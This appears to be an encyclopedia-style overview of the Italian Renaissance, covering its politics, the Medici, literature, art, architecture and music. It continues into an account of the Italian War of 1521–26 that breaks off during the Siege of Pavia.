              Sigismondo Pandolfo Malatesta (14171468), lord of Rimini, by Piero della Francesca. Malatesta was a capable condottiere, following the tradition of his family. He was hired by the Venetians to fight against the Turks (unsuccessfully) in 1465, and was patron of Leone Battista Alberti, whose Tempio Malatestiano at Rimini is one of the first entirely classical buildings of the Renaissance.
            

          


          Northern Italy was divided into a number of warring city-states, the most powerful being Milan, Florence, Pisa, Siena, Genoa, Ferrara, and Venice. High Medieval Northern Italy was further divided by the long running battle for supremacy between the forces of the Papacy and of the Holy Roman Empire: each city aligned itself with one faction or the other, yet was divided internally between the two warring parties, Guelfs and Ghibellines. Warfare between the states was common, invasion from outside Italy confined to intermittent sorties of Holy Roman Emperors. Renaissance politics developed from this background. Since the thirteenth century, as armies became primarily composed of mercenaries, prosperous city-states could field considerable forces, despite their low populations. In the course of the fifteenth century, the most powerful city-states annexed their smaller neighbors. Florence took Pisa in 1406, Venice captured Padua and Verona, while the Duchy of Milan annexed a number of nearby areas including Pavia and Parma.


          The first part of the Renaissance saw almost constant warfare on land and sea as the city-states vied for preeminence. On land, these wars were primarily fought by armies of mercenaries known as condottieri, bands of soldiers drawn from around Europe, but especially Germany and Switzerland, led largely by Italian captains. The mercenaries were not willing to risk their lives unduly, and war became one largely of sieges and maneuvering, occasioning few pitched battles. It was also in the interest of mercenaries on both sides to prolong any conflict, to continue their employment. Mercenaries were also a constant threat to their employers; if not paid, they often turned on their patron. If it became obvious that a state was entirely dependent on mercenaries, the temptation was great for the mercenaries to take over the running of it themselvesthis occurred on a number of occasions.


          At sea, Italian city-states sent many fleets out to do battle. The main contenders were Pisa, Genoa, and Venice, but after a long conflict the Genoese succeeded in reducing Pisa. Venice proved to be a more powerful adversary, and while at first relatively equal, the Genoese fleet was eliminated in the battle of Chioggia at the mouth of the Venetian lagoon, 1380; henceforth Venice was pre-eminent on the seas. As Venetian territories in the Aegean were lost one by one to the Turks, and the Black Sea trade was closed to them, Venetian interests turned towards the terrafirma as the Venetian Renaissance opened.


          On land, decades of fighting saw Florence and Milan emerge as the dominant players, and these two powers finally set aside their differences and agreed to the Peace of Lodi in 1454, which saw relative calm brought to the region for the first time in centuries. This peace would hold for the next forty years, and Venice's unquestioned hegemony over the sea also led to unprecedented peace for much of the rest of the fifteenth century. In the beginning of the fifteenth century, adventurer and traders such as Niccol Da Conti (13951469) traveled as far as Southeast Asia and back, bringing fresh knowledge on the state of the world, presaging further European voyages of exploration in the years to come.


          


          Florence under the Medici


          Until the late fourteenth century, Florence's leading family were the House of Albizzi. Their main challengers were the Medicis, first under Giovanni de' Medici, later under his son Cosimo. The Medici controlled the Medici bankthen Europe's largest bankand an array of other enterprises in Florence and elsewhere. In 1433, the Albizzi managed to have Cosimo exiled. The next year, however, saw a pro-Medici Signoria elected and Cosimo returned. The Medici became the town's leading family, a position they would hold for the next three centuries. Florence remained a republic until 1537, traditionally marking the end of the High Renaissance in Florence, but the instruments of republican government were firmly under the control of the Medici and their allies, save during the intervals after 1494 and 1527. Cosimo and Lorenzo only rarely held official posts, but were the unquestioned leaders.


          Cosimo de' Medici was highly popular among the citizenry, mainly for bringing an era of stability and prosperity to the town. One of his most important accomplishments was negotiating the Peace of Lodi with Francesco Sforza ending the decades of war with Milan and bringing stability to much of Northern Italy. Cosimo was also an important patron of the arts, directly and indirectly, by the example he set.


          Cosimo was succeeded by his sickly son Piero de' Medici, who died after five years in charge of the city. In 1469 the reins of power passed to Cosimo's twenty-one-year-old grandson Lorenzo, who would become known as "Lorenzo the Magnificent." Lorenzo was the first of the family to be educated from an early age in the humanist tradition and is best known as one of the Renaissance's most important patrons of the arts. Under Lorenzo, the Medici rule was formalized with the creation of a new Council of Seventy, which Lorenzo headed. The republican institutions continued, but they lost all power. Lorenzo was less successful than his illustrious forebears in business, and the Medici commercial empire was slowly eroded. Lorenzo continued the alliance with Milan, but relations with the papacy soured, and in 1478, Papal agents allied with the Pazzi family in an attempt to assassinate Lorenzo. Although the plot failed, Lorenzo's young brother, Giuliano, was killed, and the failed assassination led to a war with the Papacy and was used as justification to further centralize power in Lorenzo's hands.


          


          Spread of the Renaissance
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          Renaissance ideals first spread from Florence to the neighbouring states of Tuscany such as Siena and Lucca. The Tuscan culture soon became the model for all the states of Northern Italy, and the Tuscan variety of Italian came to predominate throughout the region, especially in literature. In 1447 Francesco Sforza came to power in Milan and rapidly transformed that still medieval city into a major centre of art and learning that drew Leone Battista Alberti. Venice, one of the wealthiest cities due to its control of the Mediterranean Sea, also became a centre for Renaissance culture, especially architecture. Smaller courts brought Renaissance patronage to lesser cities, which developed their characteristic arts: Ferrara, Mantua under the Gonzaga, Urbino under Federico da Montefeltro. In Naples, the Renaissance was ushered in under the patronage of Alfonso I who conquered Naples in 1443 and encouraged artists like Francesco Laurana and Antonello da Messina and writers like the poet Jacopo Sannazaro and the humanist scholar Angelo Poliziano.


          In 1417 the Papacy returned to Rome, but that once imperial city remained poor and largely in ruins through the first years of the Renaissance. The great transformation began under Pope Nicholas V, who became pontiff in 1447. He launched a dramatic rebuilding effort that would eventually see much of the city renewed. The humanist scholar Aeneas Silvius Piccolomini became pope as Pius II in 1458. As the papacy fell under the control of the wealthy families from the north, such as the Medici and the Borgias the spirit of Renaissance art and philosophy came to dominate the Vatican. Pope Sixtus IV continued Nicholas' work, most famously ordering the construction of the Sistine Chapel. The popes also became increasingly secular rulers as the Papal States were forged into a centralized power by a series of "warrior popes".


          The nature of the Renaissance also changed in the late fifteenth century. The Renaissance ideal was fully adopted by the ruling classes and the aristocracy. In the early Renaissance artists were seen as craftsmen with little prestige or recognition. By the later Renaissance the top figures wielded great influence and could charge great fees. A flourishing trade in Renaissance art developed. While in the early Renaissance many of the leading artists were of lower- or middle-class origins, increasingly they became aristocrats.


          


          Wider population


          As a cultural movement, the Italian Renaissance affected only a small part of the population. Northern Italy was the most urbanized region of Europe, but three quarters of the people were still rural peasants. For this section of the population, life was essentially unchanged from the Middle Ages. Classic feudalism had never been prominent in Northern Italy, and most peasants worked on private farms or as sharecroppers. Some scholars see a trend towards refeudalization in the later Renaissance as the urban elites turned themselves into landed aristocrats.


          The situation was very different in the cities. These were dominated by a commercial elite; as exclusive as the aristocracy of any Medieval kingdom. It was this group that was the main patron of and audience for Renaissance culture. Below them there was a large class of artisans and guild members who lived comfortable lives and had significant power in the republican governments. This was in sharp contrast to the rest of Europe where artisans were firmly in the lower class. Literate and educated, this group did participate in the Renaissance culture. The largest section of the urban population was the urban poor of semi-skilled workers and the unemployed. Like the peasants the Renaissance had little effect on them. Historians debate how easy it was to move between these groups during the Italian Renaissance. Examples of individuals who rose from humble beginnings can be instanced, but Burke notes two major studies in this area that have found that the data do not clearly demonstrate an increase in social mobility. Most historians feel that early in the Renaissance social mobility was quite high, but that it faded over the course of the fifteenth century. Inequality in society was very high. An upper-class figure would control hundreds of times more income than a servant or labourer. Some historians feel that this unequal distribution of wealth was important to the Renaissance, as art patronage relies on the very wealthy.


          The Renaissance was not a period of great social or economic change, only of cultural and ideological development. It only touched a small fraction of the population, and in modern times this has led many historians, such as any that follow historical materialism, to reduce the importance of the Renaissance in human history. These historians tend to think in terms of " Early Modern Europe" instead.


          


          End of the Italian Renaissance


          The end of the Renaissance is as imprecisely marked as its starting point. For many, the rise to power in Florence of the austere monk Girolamo Savonarola in 1494-1498 marks the end of the city's flourishing; for others, the triumphant return of the Medici marks the beginning of the late phase in the arts called Mannerism. Savonarola rode to power on a widespread backlash over the secularism and indulgence of the Renaissance  his brief rule saw many works of art destroyed in the " Bonfire of the Vanities" in the centre of Florence. With the Medici returned to power, now as Grand Dukes of Tuscany, the counter movement in the church continued. In 1542 the Sacred Congregation of the Inquisition was formed and a few years later the Index Librorum Prohibitorum banned a wide array of Renaissance works of literature.


          Just as important was the end of stability with a series of foreign invasions of Italy known as the Italian Wars that would continue for several decades. These began with the 1494 invasion by France that wreaked widespread devastation on Northern Italy and ended the independence of many of the city-states. Most damaging was the May 6, 1527, Spanish and German troops' sacking Rome that for two decades all but ended the role of the Papacy as the largest patron of Renaissance art and architecture.


          While the Italian Renaissance was fading, the Northern Renaissance adopted many of its ideals and transformed its styles. A number of Italy's greatest artists chose to emigrate. The most notable example was Leonardo da Vinci who left for France in 1516, but teams of lesser artists invited to transform the Chteau de Fontainebleau created the school of Fontainebleau that infused the style of the Italian Renaissance in France. From Fontainebleau, the new styles, transformed by Mannerism, brought the Renaissance to Antwerp and thence throughout Northern Europe.


          This spread north was also representative of a larger trend. No longer was the Mediterranean Europe's most important trade route. In 1498, Vasco da Gama reached India, and from that date the primary route of goods from the Orient was through the Atlantic ports of Lisbon, Seville, Nantes, Bristol, and London. These areas quickly surpassed Italy in wealth and power.


          


          Culture


          


          Literature and poetry


          The thirteenth-century Italian literary revolution helped set the stage for the Renaissance. Prior to the Renaissance, the Italian language was not the literary language in Italy. It was only in the 13th century that Italian authors began writing in their native language rather than Latin, French, or Provenal. The 1250s saw a major change in Italian poetry as the Dolce Stil Novo (Sweet New Style, which emphasized Platonic rather than courtly love) came into its own, pioneered by poets like Guittone d'Arezzo and Guido Guinizelli. Especially in poetry, major changes in Italian literature had been taking place decades before the Renaissance truly began.
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          With the printing of books initiated in Venice by Aldus Manutius, an increasing number of works began to be published in the Italian language in addition to the flood of Latin and Greek texts that constituted the mainstream of the Italian Renaissance. The source for these works expanded beyond works of theology and towards the pre-Christian eras of Imperial Rome and Ancient Greece. This is not to say that no religious works were published in this period: Dante Alighieri's The Divine Comedy reflects a distinctly medieval world view. Christianity remained a major influence for artists and authors, with the classics coming into their own as a second primary influence.


          In the early Italian Renaissance, much of the focus was on translating and studying classic works from Latin and Greek. Renaissance authors were not content to rest on the laurels of ancient authors, however. Many authors attempted to integrate the methods and styles of the ancient greats into their own works. Among the most emulated Romans are Cicero, Horace, Sallust, and Virgil. Among the Greeks, Aristotle, Homer, and Plato were now being read in the original for the first time since the fourth century, though Greek compositions were few.


          The literature and poetry of the Renaissance was largely influenced by the developing science and philosophy. The humanist Francesco Petrarch, a key figure in the renewed sense of scholarship, was also an accomplished poet, publishing several important works of poetry. He wrote poetry in Latin, notably the Punic War epic Africa, but is today remembered for his works in the Italian vernacular, especially the Canzoniere, a collection of love sonnets dedicated to his unrequited love Laura. He was the foremost writer of sonnets in Italian, and translations of his work into English by Thomas Wyatt established the sonnet form in that country, where it was employed by William Shakespeare and countless other poets.


          Petrarch's disciple, Giovanni Boccaccio, became a major author in his own right. His major work was the Decameron, a collection of 100 stories told by ten storytellers who have fled to the outskirts of Florence to escape the black plague over ten nights. The Decameron in particular and Boccaccio's work in general were a major source of inspiration and plots for many English authors in the Renaissance, including Geoffrey Chaucer and William Shakespeare.


          Aside from Christianity, classical antiquity, and scholarship, a fourth influence on Renaissance literature was politics. The political philosopher Niccol Machiavelli's most famous works are Discourses on Livy, Florentine Histories and finally The Prince, which has become so well-known in Western society that the term "Machiavellian" has come to refer to the realpolitik advocated by the book. However, what is ordinarily called "Machiavellianism" is a simplified textbook view of this single work rather than an accurate term for his philosophy. Further, it is not at all clear that Machiavelli himself was the apologist for immorality as whom he is often portrayed: the basic problem is the apparent contradiction between the monarchism of the Prince and the republicanism of the Discourses. Regardless, along with many other Renaissance works, The Prince remains a relevant and influential work of literature today.


          


          Philosophy


          
            [image: Petrarch, from the Cycle of Famous Men and Women. ca. 1450. Detached fresco. 247 x 153 cm. Galleria degli Uffizi, Florence, Italy. Artist: Andrea di Bartolo di Bargilla (ca. 1423–1457)]

            
              Petrarch, from the Cycle of Famous Men and Women. ca. 1450. Detached fresco. 247 x 153 cm. Galleria degli Uffizi, Florence, Italy. Artist: Andrea di Bartolo di Bargilla (ca. 14231457)
            

          


          One role of Petrarch is as the founder of a new method of scholarship, Renaissance Humanism. Humanism was an optimistic philosophy that saw man as a rational and sentient being, with the ability to decide and think for himself. This was an implicit rejection of the Roman Catholic Church's vision of souls as the only absolute reality, which was then seen as mystical and imaginary. Humanism saw man as inherently good by nature, which was in tension with the Christian view of man as the original sinner needing redemption. It provoked fresh insight into the nature of reality, questioning beyond God and spirituality, and provided for knowledge about history beyond Christian history.


          Petrarch encouraged the study of the Latin classics and carried his copy of Homer about, at a loss to find someone to teach him to read Greek. An essential step in the humanist education being propounded by scholars like Pico della Mirandola was the hunting down of lost or forgotten manuscripts that were known only by reputation. These endeavors were greatly aided by the wealth of Italian patricians, merchant-princes and despots, who would spend substantial sums building libraries. Discovering the past had become fashionable and it was a passionate affair pervading the upper reaches of society. I go, said Cyriac of Ancona, I go to awake the dead. As the Greek works were acquired, manuscripts found, libraries and museums formed, the age of the printing press was dawning. The works of Antiquity were translated from Greek and Latin into the contemporary modern languages throughout Europe, finding a receptive middle-class audience, which might be, like Shakespeare, "with little Latin and less Greek".


          While concern for philosophy, art and literature all increased greatly in the Renaissance the period is usually seen as one of scientific backwardness. The reverence for classical sources further enshrined the Aristotelian and Ptolemaic views of the universe. Humanism stressed that nature came to be viewed as an animate spiritual creation that was not governed by laws or mathematics. At the same time philosophy lost much of its rigour as the rules of logic and deduction were seen as secondary to intuition and emotion.


          


          Science


          It would not be until the Renaissance moved to Northern Europe that science would be revived, with such figures as Copernicus, Francis Bacon, and Descartes. Eventually, Galileo brought scientific thought back to Italy.


          


          Sculpture and painting
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          In painting, the false dawn of Giotto's Trecento realism, his fully three-dimensional figures occupying a rational space, and his humanist interest in expressing the individual personality rather than the iconic images, was followed by a retreat into conservative late Gothic conventions. The Italian Renaissance in painting began anew, in Florence and Tuscany, with the frescos of Masaccio, then the panel paintings and frescos of Piero della Francesca and Paolo Uccello which began to enhance the realism of their work by using new techniques in perspective, thus representing three dimensions in two-dimensional art more authentically. Piero della Francesca wrote treatises on scientific perspective. The creation of credible space allowed artists to also focus on the accurate representation of the human body and on naturalistic landscapes. Masaccio's figures have a plasticity unknown up to that point in time. Compared to the flatness of Gothic painting, his pictures were revolutionary. At the turn of the 16th century, especially in Northern Italy, artists also began to use new techniques in the manipulation of light and darkness, such as the tone contrast evident in many of Titian's portraits and the development of sfumato and chiaroscuro by Leonardo da Vinci and Giorgione. The period also saw the first secular (non- religious) themes. There has been much debate as to the degree of secularism in the Renaissance, which had been emphasized by early 20th-century writers like Jacob Burckhardt, based on, among other things, the presence of a relatively small number of mythological paintings. Those of Botticelli, notably the The Birth of Venus and Primavera, are now among the best known, although he was deeply religious (becoming a follower of Savonarola) and the great majority of his output was of traditional religious paintings or portraits.


          In sculpture, Donatello's (13861466) study of classical sculpture lead to his development of classicizing positions (such as the contrapposto pose) and subject matter (like the unsupported nude  his second sculpture of David was the first free-standing bronze nude created in Europe since the Roman Empire.) The progress made by Donatello was influential on all who followed; perhaps the greatest of whom is Michelangelo, whose David of 1500 is also a male nude study; more naturalistic than Donatello's and with greater emotional intensity. Both sculptures are standing in contrapposto, their weight shifted to one leg.


          The period known as the High Renaissance represents the culmination of the goals of the earlier period, namely the accurate representation of figures in space rendered with credible motion and in an appropriately decorous style. The most famous painters from this phase are Leonardo da Vinci, Raphael, and Michelangelo. Their images are among the most widely known works of art in the world. Leonardo's Last Supper, Raphael's The School of Athens and Michelangelo's Sistine Chapel Ceiling are the textbook materpieces of the period.


          High Renaissance painting evolved into Mannerism, especially in Florence. Mannerist artists, who consciously rebelled against the principles of High Renaissance, tend to represent elongated figures in illogical spaces. Modern scholarship has recognized the capacity of Mannerist art to convey strong (often religious) emotion where the High Renaissance failed to do so. Some of the main artists of this period are Pontormo, Bronzino, Rosso Fiorentino, Parmigianino and Raphael's pupil Giulio Romano.


          


          Architecture
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          In Florence, the Renaissance style was introduced with a revolutionary but incomplete monument in Rimini by Leone Battista Alberti. Some of the earliest buildings showing Renaissance characteristics are Filippo Brunelleschi's church of San Lorenzo and the Pazzi Chapel. The interior of Santo Spirito expresses a new sense of light, clarity and spaciousness, which is typical of the early Italian Renaissance. Its architecture reflects the philosophy of Humanism, the enlightenment and clarity of mind as opposed to the darkness and spirituality of the Middle Ages. The revival of classical antiquity can best be illustrated by the Palazzo Rucellai. Here the pilasters follow the superposition of classical orders, with Doric capitals on the ground floor, Ionic capitals on the piano nobile and Corinthian capitals on the uppermost floor.


          In Mantua, Leone Battista Alberti ushered in the new antique style, though his culminating work, Sant'Andrea, was not begun until 1472, after the architect's death.
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          The High Renaissance, as we call the style today, was introduced to Rome with Donato Bramante's Tempietto at San Pietro in Montorio (1502) and his original centrally-planned St. Peter's Basilica (1506), which was the most notable architectural commission of the era, influenced by almost all notable Renaissance artists, including Michelangelo and Giacomo della Porta. The beginning of the late Renaissance in 1550 was marked by the development of a new column order by Andrea Palladio. Colossal columns that were two or more stories tall decorated the facades.


          


          Music


          In Italy in the 14th century there was an explosion of musical activity that corresponded in scope and level of innovation to the activity in the other arts. Although musicologists typically group the music of the Trecento (music of the 1300s) with the late medieval period, it included features which align with the early Renaissance in important ways: an increasing emphasis on secular sources, styles and forms; a spreading of culture away from ecclesiastical institutions to the nobility, and even to the common people; and a quick development of entirely new techniques. The principal forms were the Trecento madrigal, the caccia, and the ballata. Overall, the musical style of the period is sometimes labelled as the "Italian ars nova."


          From the early 15th century to the middle of the 16th century, the centre of innovation in sacred music was in the Low Countries, and a flood of talented composers came to Italy from this region. Many of them sang in either the papal choir in Rome or the choirs at the numerous chapels of the aristocracy, in Rome, Venice, Florence, Milan, Ferrara and elsewhere; and they brought their polyphonic style with them, influencing many native Italian composers during their stay.


          The predominant forms of church music during the period were the mass and the motet. By far the most famous composer of church music in 16th century Italy was Palestrina, the most prominent member of the Roman School, whose style of smooth, emotionally cool polyphony was to become the defining sound of the late 16th century, at least for generations of 19th- and 20th century musicologists. Other Italian composers of the late 16th century focused on composing the main secular form of the era, the madrigal: and for almost a hundred years these secular songs for multiple singers were distributed all over Europe. Composers of madrigals included Jacques Arcadelt, at the beginning of the age, Cipriano de Rore, in the middle of the century, and Luca Marenzio, Philippe de Monte, Carlo Gesualdo, and Claudio Monteverdi at the end of the era.


          Italy was also a centre of innovation in instrumental music. By the early 16th century keyboard improvisation came to be greatly valued, and numerous composers of virtuoso keyboard music appeared. Many familiar instruments were invented and perfected in late Renaissance Italy, such as the violin, the earliest forms of which came into use in the 1550s.


          By the late 16th century Italy was the musical centre of Europe. Almost all of the innovations which were to define the transition to the Baroque period originated in northern Italy in the last few decades of the century. In Venice, the polychoral productions of the Venetian School, and associated instrumental music, moved north into Germany; in Florence, the Florentine Camerata developed monody, the important precursor to opera, which itself first appeared around 1600; and the avant-garde, manneristic style of the Ferrara school, which migrated to Naples and elsewhere through the music of Carlo Gesualdo, was to be the final statement of the polyphonic vocal music of the Renaissance.
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              The Battle of Pavia by an unknown Flemish artist (oil on panel, 16th century).
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          The Italian War of 152126, sometimes known as the Four Years' War, was a part of the Italian Wars. The war pitted Francis I of France and the Republic of Venice against the Holy Roman Emperor Charles V, Henry VIII of England, and the Papal States. The conflict arose from animosity over the election of Charles as Emperor in 151920 and from Pope Leo X's need to ally with Charles against Martin Luther.


          The war broke out across western Europe late in 1521 when the French invaded Navarre and the Low Countries. Imperial forces overcame the invasion and attacked northern France, where they were stopped in turn. The Pope, the Emperor, and Henry VIII then signed a formal alliance against France, and hostilities began on the Italian peninsula. At the Battle of Bicocca, Imperial and Papal forces defeated the French, driving them from Lombardy. Following the battle, fighting again spilled onto French soil, while Venice made a separate peace. The English invaded France in 1523, while Charles de Bourbon, alienated by Francis's attempts to seize his inheritance, betrayed Francis and allied himself with the Emperor. A French attempt to regain Lombardy in 1524 failed and provided Bourbon with an opportunity to invade Provence at the head of a Spanish army.


          Francis himself led a second attack on Milan in 1525. While he was initially successful in driving back the Spanish and Imperial forces, his disastrous defeat at the Battle of Pavia, where he was captured and many of his chief nobles were killed, led to the end of the war. While imprisoned in Spain, Francis signed the Treaty of Madrid, surrendering his claims to Italy, Flanders, and Burgundy. Only a few weeks after his release, however, he repudiated the terms of the treaty, starting the War of the League of Cognac. Although the Italian Wars would continue for another three decades, they would end with France having failed to regain any substantial territories in Italy.


          


          Prelude


          By 1518, the peace that had prevailed in Europe after the Battle of Marignano was beginning to crumble. The major powers (France, England, Spain, and the Holy Roman Empire) were outwardly friendly, pledging by the Treaty of London to come to the aid of any of the signatories that was attacked and to combine against any nation that broke the peace. They were divided, however, on the question of the Imperial succession. The Holy Roman Emperor, Maximilian I, intending for a Habsburg to succeed him, began to campaign on behalf of Charles of Spain, while Francis put himself forward as an alternate candidate. At the same time, the Papacy and the Holy Roman Empire were forced to deal with the rising influence of Martin Luther, who found support among opportunistic Imperial nobles, while Francis was faced with Thomas Cardinal Wolsey, who interposed himself into the quarrels of the continent in an attempt to increase both England's influence and his own.
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          Maximilian's death in 1519 brought the Imperial election to the forefront of European politics. Pope Leo X, threatened by the presence of Spanish troops a mere forty miles from the Vatican, supported the French candidacy. The prince-electors themselves, with the exception of Frederick of Saxony, who refused to countenance the campaigning, promised their support to both candidates at once. Before his death, Maximilian had already promised sums of 500,000 florins to the Electors in exchange for their votes, but Francis offered up to three million, and Charles retaliated by borrowing vast sums from the Fuggers. The final outcome, however, was not determined by the exorbitant bribes, which included Leo promising to make the Archbishop of Mainz his permanent legate. The general outrage of the populace at the idea of a French Emperor gave the Electors pause, and when Charles put an army in the field near Frankfurt, where they were meeting, the Electors obligingly voted for him. He was crowned Holy Roman Emperor on October 23, 1520, by which point he already controlled both the Spanish crown and the hereditary Burgundian lands in the Low Countries.


          Thomas Cardinal Wolsey, hoping to increase Henry VIII's influence on the continent, offered the services of England as a mediator for the various disputes between Francis and Charles. Henry and Francis staged an extravagant meeting at the Field of the Cloth of Gold. Immediately afterwards, Wolsey entertained Charles in Calais. Following the meetings, Wolsey, concerned mainly with improving his own stature in preparation for the next papal conclave, proceeded to stage a hollow arbitration conference at Calais, which lasted until April 1522 to no practical effect.
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          In December, the French began to plan for war. Francis did not wish to openly attack Charles because Henry had announced his intention to intervene against the first party to break the tenuous peace. Instead, he turned to more covert support for incursions into Imperial and Spanish territory. One attack would be made on the Meuse River, under the leadership of Robert de la Marck. Simultaneously, another army would invade Navarre; nominally conducted by Henry d'Albret, who had lost the principality to Ferdinand II of Aragon in 1512, the invasion was effectively commanded by Lesparre (the brother of Odet de Foix, Vicomte de Lautrec). The operations were to be funded and equipped by the French, who denied all responsibility. The French designs quickly proved flawed as the intervention of Henry of Nassau drove back the Meuse offensive; and although Lesparre was initially successful in seizing Pamplona, he was driven from Navarre after being defeated at the Battle of Esquiroz on June 30, 1521.


          Charles was meanwhile preoccupied with the issue of Martin Luther, whom he confronted at the Diet of Worms in March 1521. The Emperor, who did not know German, viewed Catholicism as a natural way of binding the diverse principalities of the Holy Roman Empire to him. Since Pope Leo X, for his part, was unwilling to tolerate such open defiance of his own authority, he and the Emperor were forced to support one another against Luther, who was now backed by Frederick of Saxony and Franz von Sickingen. On May 25, Charles and Cardinal Girolamo Aleandro, the Papal nuncio, proclaimed the Edict of Worms against Luther. Simultaneously, the Emperor promised the Pope the restoration of Parma and Piacenza to the Medici and of Milan to the Sforza. Leo, needing the Imperial mandate for his campaign against what he viewed as a dangerous heresy, promised to assist in expelling the French from Lombardy, leaving Francis with only the Republic of Venice for an ally.


          


          Initial moves


          In June, Imperial armies under Henry of Nassau invaded the north of France, razing the cities of Ardres and Mouzon and besieging Tournai. They were delayed by the dogged resistance of the French, led by Pierre Terrail, Seigneur de Bayard and Anne de Montmorency, during the Siege of Mezieres, which gave Francis time to gather an army to confront the attack. On October 22, 1521, Francis encountered the main Imperial army, which was commanded by Charles V himself, near Valenciennes. Despite the urging of Charles de Bourbon, Francis hesitated to attack, which allowed Charles time to retreat. When the French were finally ready to advance, the start of heavy rains prevented an effective pursuit and the Imperial forces were able to escape without a battle. Shortly afterwards, French troops under Bonnivet and Claude of Lorraine seized the key city of Fuenterrabia, at the mouth of the Bidasoa River on the Franco-Spanish border, following a protracted series of maneuvers, providing the French with an advantageous foothold in northern Spain that would remain in their hands for the next two years.
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          By November, the French situation had deteriorated considerably. Charles, Henry VIII, and the Pope signed an alliance against Francis on November 28. Odet de Foix, Vicomte de Lautrec, the French governor of Milan, was tasked with resisting the Imperial and Papal forces; he was outmatched by Prospero Colonna, however, and by late November had been forced out of Milan and had retreated to a ring of towns around the Adda River. There, Lautrec was reinforced by the arrival of fresh Swiss mercenaries; but, having no money available to pay them, he gave in to their demands to engage the Imperial forces immediately. On April 27, 1522, he attacked Colonna's combined Imperial and Papal army near Milan at the Battle of Bicocca. Lautrec had planned to use his superiority in artillery to his advantage, but the Swiss, impatient to engage the enemy, masked his guns and charged against the entrenched Spanish arquebusiers. In the resulting melee, the Swiss were badly mauled by the Spanish under Fernando d'Avalos, Marquess of Pescara, and by a force of landsknechts commanded by Georg Frundsberg. Their morale broken, the Swiss returned to their cantons; Lautrec, left with too few troops to continue the campaign, abandoned Lombardy entirely. Colonna and d'Avalos, left unopposed, proceeded to besiege Genoa, capturing the city on May 30.


          


          France at bay


          Lautrec's defeat brought England openly into the conflict. In late May 1522, the English ambassador presented Francis with an ultimatum enumerating accusations against France, notably that of supporting the Duke of Albany in Scotland, all of which were denied by the king. Henry VIII and Charles signed the Treaty of Windsor on 16 June 1522. The treaty outlined a joint English-Imperial attack against France, with each party providing at least 40,000 men. Charles agreed to compensate England for the pensions that would be lost because of conflict with France and to pay the past debts that would be forfeit; to seal the alliance, he also agreed to marry Henry's only daughter, Mary. In July, the English attacked Brittany and Picardy from Calais. Francis was unable to raise funds to sustain significant resistance, and the English army burned and looted the countryside.
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          Francis tried a variety of methods to raise money, but concentrated on a lawsuit against Charles de Bourbon. Bourbon had received the majority of his holdings through his marriage to Suzanne de Bourbon, who had died shortly before the start of the war. Louise of Savoy, Suzanne's sister and the king's mother, insisted that the territories in question should pass to her because of her closer kinship to the deceased. Francis was confident that seizing the disputed lands would improve his own financial position sufficiently to continue the war and began to confiscate portions of them in Loise's name. Bourbon, angered by this treatment and increasingly isolated at court, began to make overtures to Charles V to betray the French king.


          By 1523, the French situation had entirely collapsed. The death of Doge Antonio Grimani brought Andrea Gritti, a veteran of the War of the League of Cambrai, to power in Venice. He quickly began negotiations with the Emperor and on July 29 concluded the Treaty of Worms, which removed the Republic from the war. Bourbon continued his scheming with Charles, offering to begin a rebellion against Francis in exchange for money and German troops. When Francis, who was aware of the plot, summoned him to Lyon in October, he feigned illness and fled to Besanon, in Imperial territory. Enraged, Francis ordered the execution of as many of Bourbon's associates as he could capture, but the Duke himself, having rejected a final offer of reconciliation, openly entered the Emperor's service.


          Charles then invaded southern France over the Pyrenees. Lautrec successfully defended Bayonne against the Spanish, but Charles was able to recapture Fuenterrabia in February 1524. On 18 September 1523, meanwhile, a massive English army under the Duke of Suffolk advanced into French territory from Calais in conjunction with a Flemish-Imperial force. The French, stretched thin by the Imperial attack, were unable to resist, and Suffolk soon advanced past the Somme, devastating the countryside in his wake and stopping only fifty miles from Paris. When Charles failed to support the English offensive, however, Suffolkunwilling to risk an attack on the French capitalturned away from Paris on 30 October, returning to Calais by mid-December.
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          Francis now turned his attention to Lombardy. In October 1523, a French army of 18,000 under Bonnivet advanced through the Piedmont to Novara, where it was joined by a similarly-sized force of Swiss mercenaries. Prospero Colonna, who had only 9,000 men to oppose the French advance, retreated to Milan. Bonnivet, however, over-estimated the size of the Imperial army and moved into winter quarters rather than attacking the city; and the Imperial commanders were able to summon 15,000 landsknechts and a large force under Bourbon's command by December 28, when Charles de Lannoy replaced the dying Colonna. Many of the Swiss now abandoned the French army, and Bonnivet began his withdrawal. The French defeat at the Battle of the Sesia, where Bayard was killed while commanding the French rearguard, again demonstrated the power of massed arquebusiers against more traditional troops; the French army then retreated over the Alps in disarray.


          D'Avalos and Bourbon crossed the Alps with nearly 11,000 men and invaded Provence in early July. Sweeping through most of the smaller towns unopposed, Bourbon entered the provincial capital of Aix-en-Provence on August 9, taking the title of Count of Provence and pledging his allegiance to Henry VIII in return for the latter's support against Francis. By mid-August, Bourbon and d'Avalos had besieged Marseille, the only stronghold in Provence that remained in French hands. Their assaults on the city failed, however, and when the French army commanded by Francis himself arrived at Avignon at the end of September, they were forced to retreat back to Italy.


          


          Pavia


          In mid-October, Francis himself crossed the Alps and advanced on Milan at the head of an army numbering more than 40,000. Bourbon and d'Avalos, their troops not yet recovered from the campaign in Provence, were in no position to offer serious resistance. The French army moved in several columns, brushing aside Imperial attempts to hold its advance, but failed to bring the main body of Imperial troops to battle. Nevertheless, Charles de Lannoy, who had concentrated some 16,000 men to resist the 33,000 French troops closing on Milan, decided that the city could not be defended and withdrew to Lodi on October 26. Having entered Milan and installed Louis II de la Trmoille as the governor, Francis (at the urging of Bonnivet and against the advice of his other senior commanders, who favored a more vigorous pursuit of the retreating Lannoy) advanced on Pavia, where Antonio de Leyva remained with a sizable Imperial garrison.
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          The main mass of French troops arrived at Pavia in the last days of October. By November 2, Montmorency had crossed the Ticino River and invested the city from the south, completing its encirclement. Inside were about 9,000 men, mainly mercenaries whom Antonio de Leyva was able to pay only by melting the church plate. A period of skirmishing and artillery bombardments followed, and several breaches had been made in the walls by mid-November. On November 21, Francis attempted an assault on the city through two of the breaches, but was beaten back with heavy casualties; hampered by rainy weather and a lack of gunpowder, the French decided to wait for the defenders to starve.


